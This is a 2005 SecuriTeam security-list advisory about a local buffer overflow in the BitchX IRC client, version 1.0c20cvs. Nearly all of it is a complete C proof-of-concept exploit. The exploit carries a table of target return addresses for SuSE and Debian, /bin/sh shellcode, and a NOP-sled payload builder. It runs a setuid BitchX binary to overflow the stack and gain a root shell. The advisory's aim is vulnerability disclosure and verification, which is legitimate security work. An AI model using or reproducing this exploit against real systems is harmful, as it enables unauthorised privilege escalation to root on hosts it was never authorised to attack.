[EXPL] BitchX Buffer Overflow
From: SecuriTeam (support_at_securiteam.com)
Date: 04/21/05
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To: list@securiteam.com Date: 21 Apr 2005 15:43:47 +0200
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BitchX Buffer Overflow
------------------------------------------------------------------------
SUMMARY
BitchX contains a local exploitable buffer overflow condition. When BitchX
is installed with setuid it allows a non-root user to obtain root access.
DETAILS
Vulnerable Systems:
* BitchX version 1.0c20cvs
Exploit:
/*
* P.o.C Exploit Code for BitchX
* made for Version (BitchX-1.0c20cvs) -- Date (20020325)
*
* (C) 2004. GroundZero Security Research and Software Development
* http://www.groundzero-security.com
*
* released under the GNU GPL - http://www.gnu.org/licenses/gpl.txt
*
* --[ background
*
* BitchX contains an local exploitable Buffer Overflow condition.
* Sometimes it is installed setUID to allow non-root users SSL
* access for example and therefore it could be used by a malicious
* local user, to obtain root access. This code demonstrates the
* described vulnerability and can be used to verify the bug on
* your system(s).
*/
#include <stdio.h>
struct {
char *distro;
char *version;
char *bx;
unsigned int return_add;
unsigned int buff_size;
} T[] = {
{ "SuSE Linux", "8.2", "BitchX-1.0c20cvs", 0xbfffff88, 2111 },
{ "Debian Linux", "3.0", "BitchX-1.0c19", 0xbfffff5c, 2090 },
{ "END", "", "", 0, 0 },
};
char
shellcode[]="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
int usage(char *argv)
{
int i;
fprintf (stdout, "\nUsage: %s <path+bin>\n",argv);
fprintf (stdout, " i.e.: %s /bin/BitchX\n\n",argv);
fprintf (stdout, "Available Targets:\n");
for(i=0;T[i].distro!="END";i++)
fprintf (stdout, "\t\t\t %i: (%s %s)
%s\n",i,T[i].distro,T[i].version,T[i].bx);
return(0);
}
int main(int argc, char *argv[])
{
unsigned int i;
unsigned int t;
char buffer[3000];
char *a1 = "sh";
char *a2 = "-c";
char *env[] = { "TERM=xterm", 0 };
char *args[] = { a1, a2, buffer, 0}; /* arguments list */
fprintf (stdout, "\n\n###############################\n");
fprintf (stdout, "## GroundZero Security Research and Software
Development ##\n");
fprintf (stdout, "## Linux Local P.o.C Exploit for BitchX ##\n");
fprintf (stdout, "###############################\n\n");
if(argv[1]==NULL||argv[2]==NULL)
{
usage (argv[0]);
fprintf (stdout, "\n");
exit (0);
}
if(strlen(argv[1])>255||strlen(argv[2])>255)
{
exit (-1);
}
t=atoi(argv[2]);
fprintf (stdout, "selected: %s %s
%s\n",T[t].distro,T[t].version,T[t].bx);
fprintf (stdout, "using return address: 0x%lx\n",T[t].return_add);
for ( i=0; i<T[t].buff_size; i+=4) *(long
*)&buffer[i]=T[t].return_add; /* put return address in buffer */
for ( i=0; i<(T[t].buff_size-strlen(shellcode)-40); ++i)
*(buffer+i)=0x90; /* add nop's */
memcpy (buffer+i,shellcode,strlen(shellcode)); /* generate exploit
string */
fprintf (stdout, "Launching Exploit against %s, you got 3 seconds to
abort.. (ctrl+c)\n",argv[1]);
sleep(3);
if((execve (argv[1],args,env))==-1) /* execute binary and smash the
stack */
{
perror("execve");
exit (-1);
}
exit (0);
}
/* EOF */
ADDITIONAL INFORMATION
The information has been provided by <mailto:sk@groundzero-security.com>
sk.
The original exploit can be found at: <http://www.g-0.org/code/bx-xp.c>
http://www.g-0.org/code/bx-xp.c
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